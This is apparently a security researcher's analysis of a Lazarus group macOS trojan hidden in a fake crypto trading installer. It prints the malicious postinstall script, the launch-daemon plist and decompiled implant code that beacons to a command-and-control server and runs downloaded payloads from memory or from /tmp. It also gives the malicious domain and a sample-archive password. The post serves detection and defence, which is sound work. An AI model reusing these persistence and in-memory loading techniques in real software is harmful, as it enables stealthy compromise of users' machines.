Malwarebytes | Airo AV |
I’ve added the sample (‘OSX.AppleJeus.C’) to our malware collection (password: infect3d)
…please don’t infect yourself!
Today, Dinesh_Devadoss posted a tweet about another Lazarus group macOS trojan:
Another #Lazarus #macOS #trojan
— Dinesh_Devadoss (@dineshdina04) December 3, 2019
md5: 6588d262529dc372c400bef8478c2eec
hxxps://unioncrypto.vip/
Contains code: Loads Mach-O from memory and execute it / Writes to a file and execute it@patrickwardle @thomasareed pic.twitter.com/Mpru8FHELi
As I’d recently written about a Lazarus group first stage implant (see: “Pass the AppleJeus”), I was intrigued to analyze this sample!
We’ll see while there are some clear overlaps, this (new) sample contains a rather sophisticated capabilities, which I’ve never seen before in (public) macOS malware!
In his tweet, Dinesh kindly provided an MD5 hash: 6588d262529dc372c400bef8478c2eec
which allows us to locate the sample (UnionCryptoTrader.dmg
) on VirusTotal, where it’s only flagged as malicious by two of the engines. (See: UnionCryptoTrader.dmg on VirusTotal).
From the URL provided in Dinesh’s tweet, (https://unioncrypto.vip/
) and spelunking around on VirusTotal, we can gain an understanding of the infection mechanism.
Lazarus Group has a propensity for targeting users or administrators of crypto-currency exchanges. And their de facto method of infecting such targets is via fake crypto-currency company and trading applications.
As part of my recent RSA presentation I highlighted their attack vector: \
In this specific attack, Lazarus group created a new website, unioncrypto.vip
:
\
Pinging this site reveals that it’s still online, and resolving to 104.168.167.16
:
$ ping unioncrypto.vip PING unioncrypto.vip (104.168.167.16): 56 data bytes 64 bytes from 104.168.167.16: icmp_seq=0 ttl=112 time=91.483 ms
Querying VirusTotal with this IP address, we find a URL request that triggered a download of the malicious application (https://www.unioncrypto.vip/download/W6c2dq8By7luMhCmya2v97YeN
):
It seems reasonable to assume that Lazarus Group is sticking with its successful attack vector (of targeting employees of crypto-currency exchanges with trojanized trading applications) …for now!
Let’s begin analysis of the trojanzied application. Said application is delivered via a disk image, named UnionCryptoTrader.dmg
We can mount this disk image, via the hdiutil attach
command:
$ hdiutil attach ~/Downloads/UnionCryptoTrader.dmg expected CRC32 $7720DF1C /dev/disk4 GUID_partition_scheme /dev/disk4s1 Apple_APFS /dev/disk5 EF57347C-0000-11AA-AA11-0030654 /dev/disk5s1 41504653-0000-11AA-AA11-0030654 /Volumes/UnionCryptoTrader
It contains a single package: UnionCryptoTrader.pkg
:
$ ls -lart /Volumes/UnionCryptoTrader total 40120 -rwxrwxrwx 1 patrick staff 20538265 Sep 4 06:25 UnionCryptoTrader.pkg
Via our “WhatsYourSign” application, it’s easy to see the UnionCryptoTrader.pkg
package is unsigned:
…which means macOS will warn the user, if they attempt to open it:
Taking a peek at the package, uncovers a postinstall
script that will be executed at the end of the installation process:
1#!/bin/sh
2mv /Applications/UnionCryptoTrader.app/Contents/Resources/.vip.unioncrypto.plist
3 /Library/LaunchDaemons/vip.unioncrypto.plist
4
5chmod 644 /Library/LaunchDaemons/vip.unioncrypto.plist
6mkdir /Library/UnionCrypto
7
8mv /Applications/UnionCryptoTrader.app/Contents/Resources/.unioncryptoupdater
9 /Library/UnionCrypto/unioncryptoupdater
10
11chmod +x /Library/UnionCrypto/unioncryptoupdater
12/Library/UnionCrypto/unioncryptoupdater &
The purpose of this script is to persistently install a launch daemon.
Specifically, the script will:
move a hidden plist (.vip.unioncrypto.plist
) from the application’s Resources
directory into /Library/LaunchDaemons
set it to be owned by root
create a /Library/UnionCrypto
directory
move a hidden binary (.unioncryptoupdater
) from the application’s Resources
directory into /Library/UnionCrypto/
set it to be executable
execute this binary (/Library/UnionCrypto/unioncryptoupdater
)
We can passively observe this part of the installation via either our File or Process monitors:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 0, "arguments" : [ "mv", "/Applications/UnionCryptoTrader.app/Contents/Resources/.vip.unioncrypto.plist", "/Library/LaunchDaemons/vip.unioncrypto.plist" ], "ppid" : 3457, "ancestors" : [ 3457, 951, 1 ], "signing info" : { "csFlags" : 603996161, "signatureIdentifier" : "com.apple.mv", "cdHash" : "7F1F3DE78B1E86A622F0B07F766ACF2387EFDCD", "isPlatformBinary" : 1 }, "path" : "/bin/mv", "pid" : 3458 }, "timestamp" : "2019-12-05 20:14:28 +0000" } ... { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 0, "arguments" : [ "mv", "/Applications/UnionCryptoTrader.app/Contents/Resources/.unioncryptoupdater", "/Library/UnionCrypto/unioncryptoupdater" ], "ppid" : 3457, "ancestors" : [ 3457, 951, 1 ], "signing info" : { "csFlags" : 603996161, "signatureIdentifier" : "com.apple.mv", "cdHash" : "7F1F3DE78B1E86A622F0B07F766ACF2387EFDCD", "isPlatformBinary" : 1 }, "path" : "/bin/mv", "pid" : 3461 }, "timestamp" : "2019-12-05 20:14:28 +0000" } ... { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 0, "arguments" : [ "/Library/UnionCrypto/unioncryptoupdater" ], "ppid" : 1, "ancestors" : [ 1 ], "signing info" : { "csFlags" : 536870919, "signatureIdentifier" : "macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392", "cdHash" : "8D204E5B7AE08E80B728DE675AEB8CC735CCF6E7", "isPlatformBinary" : 0 }, "path" : "/Library/UnionCrypto/unioncryptoupdater", "pid" : 3463 }, "timestamp" : "2019-12-05 20:14:28 +0000" }
Though installing a launch daemon requires root access, the installer will prompt the user for their credentials:
Once the installer completes, the binary unioncryptoupdater
will both currently executing, and persistently installed:
$ ps aux | grep [u]nioncryptoupdater root 1254 /Library/UnionCrypto/unioncryptoupdater
Of course, BlockBlock will detect the launch daemon persistence attempt:
As noted, persistence is achieved via the vip.unioncrypto.plist
launch daemon:
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...>
3<plist version="1.0">
4<dict>
5 <key>Label</key>
6 <string>vip.unioncrypto.product</string>
7 <key>ProgramArguments</key>
8 <array>
9 <string>/Library/UnionCrypto/unioncryptoupdater</string>
10 </array>
11 <key>RunAtLoad</key>
12 <true/>
13</dict>
14</plist>
As the RunAtLoad
key is set to true
this instruct macOS to automatically launch the binary specified in the ProgramArguments
array each time the infected system is rebooted. As such /Library/UnionCrypto/unioncryptoupdater
will be automatically (re) executed.
Installing a launch daemon (who’s plist and binary were both stored hidden in the application’s resource directory) again matches Lazarus groups modus operandi.
See Kaspersky’s writeup: “Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware”
Ok, time to analyze the persisted unioncryptoupdater
binary.
Via the file
command we can ascertain its a standard macOS (64bit) binary:
$ file /Library/UnionCrypto/unioncryptoupdater /Library/UnionCrypto/unioncryptoupdater: Mach-O 64-bit executable x86_64
The codesign
utility shows us both it identifier (macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392
) and the fact that it’s not signed with a valid code signing id, but rather adhoc (Signature=adhoc
):
$ codesign -dvv /Library/UnionCrypto/unioncryptoupdater Executable=/Library/UnionCrypto/unioncryptoupdater Identifier=macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392 Format=Mach-O thin (x86_64) CodeDirectory v=20100 size=739 flags=0x2(adhoc) hashes=15+5 location=embedded Signature=adhoc Info.plist=not bound TeamIdentifier=not set Sealed Resources=none Internal requirements count=0 size=12
Running the strings
utility (with the -a
flag) reveals some interesting strings:
$ strings -a /Library/UnionCrypto/unioncryptoupdater curl_easy_perform() failed: %s AES_CYPHER_128 encrypt test case: AES_CYPHER_128 decrypt test case: AES_CYPHER_192 encrypt test case: AES_CYPHER_192 decrypt test case: AES_CYPHER_256 encrypt test case: AES_CYPHER_256 decrypt test case: Input: IOPlatformExpertDevice IOPlatformSerialNumber /System/Library/CoreServices/SystemVersion.plist ProductVersion ProductBuildVersion Mac OS X %s (%s) ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ /tmp/updater %s %s NO_ID %s%s 12GWAPCT1F0I1S14 auth_timestamp auth_signature check https://unioncrypto.vip/update done /bin/rcp Could not create image. Could not link image. Could not find ec. Could not resolve symbol: _sym[25] == 0x4d6d6f72. Could not resolve symbol: _sym[4] == 0x4d6b6e69.
Strings such as IOPlatformSerialNumber
and reference to the SystemVersion.plist
likely indicate basic survey capabilities (to gather information about the infected system). The reference to libcurl
API (curl_easy_perform
) and embedded url https://unioncrypto.vip/update
indicate networking and/or command and control capabilities.
Opening a the binary (unioncryptoupdater
) in a disassembler, shows the main
function simply invoking a function named onRun
:
1int _main() {
2 rbx = objc_autoreleasePoolPush();
3
4 onRun();
5
6 objc_autoreleasePoolPop(rbx);
7 return 0x0;
8}
Though rather long and involved we can break down its logic.
Instantiate a C++ class named Barbeque: Barbeque::Barbeque();
By piping the output of the nm
utility into c++filt
we can dump other methods from the Barbeque
class:
$ nm unioncryptoupdater | c++filt unsigned short Barbeque::Barbeque() unsigned short Barbeque::get( ... ) unsigned short Barbeque::post( ... ) unsigned short Barbeque::~Barbeque()
Barbeque
class contains network related logic?
Invokes a function named getDeviceSerial
to retrieve the system serial number via IOKit
(IOPlatformSerialNumber
):
1int __Z15getDeviceSerialPc(int * arg0) {
2
3 ...
4
5 r15 = *(int32_t *)*_kIOMasterPortDefault;
6 rax = IOServiceMatching("IOPlatformExpertDevice");
7 rax = IOServiceGetMatchingService(r15, rax);
8 if (rax != 0x0) {
9 rbx = CFStringGetCString(IORegistryEntryCreateCFProperty(rax,
10 @"IOPlatformSerialNumber", **_kCFAllocatorDefault, 0x0),
11 r14, 0x20, 0x8000100) != 0x0 ? 0x1 : 0x0;
12
13 IOObjectRelease(rax);
14 }
15 rax = rbx;
16 return rax;
17}
VM+nL/ueNmNG
):(lldb) x/s $rax 0x7ffeefbff810: "VM+nL/ueNmNG"
Invokes a function named getOSVersion
in order to retrieve the OS version, by reading the system file, /System/Library/CoreServices/SystemVersion.plist
(which contains various version-related information):
$ defaults read /System/Library/CoreServices/SystemVersion.plist { ProductBuildVersion = 18F132; ProductCopyright = "1983-2019 Apple Inc."; ProductName = "Mac OS X"; ProductUserVisibleVersion = "10.14.5"; ProductVersion = "10.14.5"; iOSSupportVersion = "12.3"; }
ProductName
, ProductUserVisibleVersion
, and ProductBuildVersion
):
(lldb) x/s 0x7ffeefbff790 0x7ffeefbff790: "Mac OS X 10.14.5 (18F132)"
Builds a string consisting of the time and hardcode value (key?): 12GWAPCT1F0I1S14
1sprintf(&var_130, "%ld", time(0x0));
2rax = sprintf(&var_1B0, "%s%s", &var_130, "12GWAPCT1F0I1S14");
Invokes the Barbeque::post()
method to contact a remote command & control server (https://unioncrypto.vip/update
):
The network logic leverages via libcurl
to perform the actual communications:
1curl_easy_setopt(*r15, 0x2727);
2curl_easy_setopt(*r15, 0x4e2b);
3curl_easy_setopt(*r15, 0x2711);
4rdi = *r15;
5curl_easy_setopt(rdi, 0x271f);
6rax = curl_easy_perform(*r15);
If the server responds with the string "0"
the malware will sleep for 10 minutes, before checking in again with the server:
1if (std::__1::basic_string ... ::compare(rbx, 0x0, 0xffffffffffffffff, "0", 0x1) == 0x0)
2{
3 sleep(0x258);
4 goto connect2Server;
5}
processUpdate
to execute a downloaded payload from the server.
Ok, so we’ve got a fairly standard persistent 1st-stage implant which beacons to a remote server for (likely) a 2nd-stage fully-featured implant.
At this time, while the remote command & control server remains online, it simply it responding with a “0”, meaning no payload is provided :( \
As such, we must rely on static analysis methods for the remainder of our analysis.
However, the is one rather unique aspect of this 1st-stage implant: the ability to execute the received payload, directly from memory!
Looks take a closer look at how the malware implements this stealthy capability.
Recall that if the server responds with payload (and not a string "0"
), the malware invokes the processUpdate
function. First the processUpdate
decrypts said payload (via aes_decrypt_cbc
), then invokes a function named load_from_memory
.
1aes_decrypt_cbc(0x0, r15, rdx, rcx, &var_40);
2memcpy(&var_C0, r15, 0x80);
3rbx = rbx + 0x90;
4r14 = r14 - 0x90;
5rax = _load_from_memory(rbx, r14, &var_C0, rcx, &var_40, r9);
The load_from_memory
function first mmaps some memory (with protections: PROT_READ | PROT_WRITE | PROT_EXEC). Then copies the decrypted payload into this memory region, before invoking a function named memory_exec2
:
1int _load_from_memory(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5) {
2 r14 = arg2;
3 r12 = arg1;
4 r15 = arg0;
5 rax = mmap(0x0, arg1, 0x7, 0x1001, 0xffffffffffffffff, 0x0);
6 if (rax != 0xffffffffffffffff) {
7 memcpy(rax, r15, r12);
8 r14 = _memory_exec2(rax, r12, r14);
9 munmap(rax, r12);
10 rax = r14;
11 }
12 else {
13 rax = 0xffffffffffffffff;
14 }
15 return rax;
16}
The memory_exec2
function invokes the Apple API NSCreateObjectFileImageFromMemory
to create an “object file image” from a memory buffer (of a mach-O file). Following this, the NSLinkModule
method is called to link the “object file image”.
1int _memory_exec2(int arg0, int arg1, int arg2) {
2
3 ...
4 rax = NSCreateObjectFileImageFromMemory(rdi, rsi, &var_58);
5
6 rax = NSLinkModule(var_58, "core", 0x3);
7
As the layout of an in-memory process image is different from its on disk-in image, one cannot simply copy a file into memory and directly execute it. Instead, one must invoke APIs such as NSCreateObjectFileImageFromMemory and NSLinkModule (which take care of preparing the in-memory mapping and linking).
Once the malware has mapped and linked the downloaded payload, it invokes a function named find_macho
which appears to search the memory mapping for MH_MAGIC_64
, the 64-bit “mach magic number” in the mach_header_64
structure (0xfeedfacf
):
1int find_macho(int arg0, int arg1, int arg2, int arg3) {
2
3 ...
4
5 do {
6 ...
7 if ((*(int32_t *)__error() == 0x2) && (*(int32_t *)rbx == 0xfeedfacf)) {
8 break;
9 }
10
11 } while (true);
12}
Once the find_macho
method returns, the malware begins parsing the in-memory mach-O file. It appears to be looking for the address of LC_MAIN
load command (0x80000028
):
1if (*(int32_t *)rcx == 0x80000028) goto loc_100006ac7;
For an in-depth technical discussion of parsing mach-O files, see: “Parsing Mach-O Files”.
The LC_MAIN
load command contains information such as the entry point of the mach-O binary (for example, offset 18177
for the unioncryptoupdater
binary):
The malware then retrieves the offset of the entry point (found at offset 0x8
within the LC_MAIN
load command), sets up some arguments, then jumps to this address:
1//rcx points to the `LC_MAIN` load command
2r8 = r8 + *(rcx + 0x8);
3...
4
5//invoke payload's entry point!
6rax = (r8)(0x2, &var_40, &var_48, &var_50, r8);
Delightful! Pure in-memory execution of a remotely downloaded payload. 🤩 Sexy!
In 2015, at BlackHat I discussed this method of in-memory file execution as a means to increase stealth and complicate forensics (See: “Writing Bad @$$ Malware for OS X”):
…kinda neat to see it (finally) show up in macOS malware in the wild!
For more details on in-memory code execution in macOS, see:
\
Former #OBTS speaker Felix Seele (@c1truz_) noted that the (in)famous InstallCore adware also (ab)used the NSCreateObjectFileImageFromMemory and NSLinkModule APIs to achieve in-memory execution.
Interestingly, the malware has a “backup” plan if the in-memory code execution fails. Specifically if load_from_memory
does not return 0 (success) it will write out the received payload to /tmp/updater
and then execute it via a call to system
:
1rax = _load_from_memory(rbx, r14, &var_C0, rcx, &var_40, r9);
2if(rax != 0x0) {
3 fwrite(rbx, r14, 0x1, fopen("/tmp/updater", "wb"));
4 fclose(rax);
5
6 chmod("/tmp/updater", 0x1ff);
7 sprintf(&var_4C0, "%s %s", "/tmp/updater", &var_C0);
8
9 rax = system(&var_4C0);
10
11 unlink("/tmp/updater");
12}
Always good to handle error conditions and have a plan B!
Lazarus group continues to target macOS users with ever evolving capabilities. Today, we analyzed a new sample with the ability to remotely download and execute payloads directly from memory!
The good news is the average Mac user doesn’t have to worry about being targeted by APT groups such as Lazarus. Moreover, as the installer package, UnionCryptoTrader.pkg
is unsigned, macOS will warn any users if they attempt to open it:
However, if you do want to manually check if you’re infected, the following IoCs should help:
/Library/LaunchDaemons/vip.unioncrypto.plist
/Library/UnionCrypto/unioncryptoupdater
Or a tool such as KnockKnock can also uncover the infection:
\
…or better sign up for our “The Art of Mac Malware Analysis” class at Objective by the Sea v3.0! \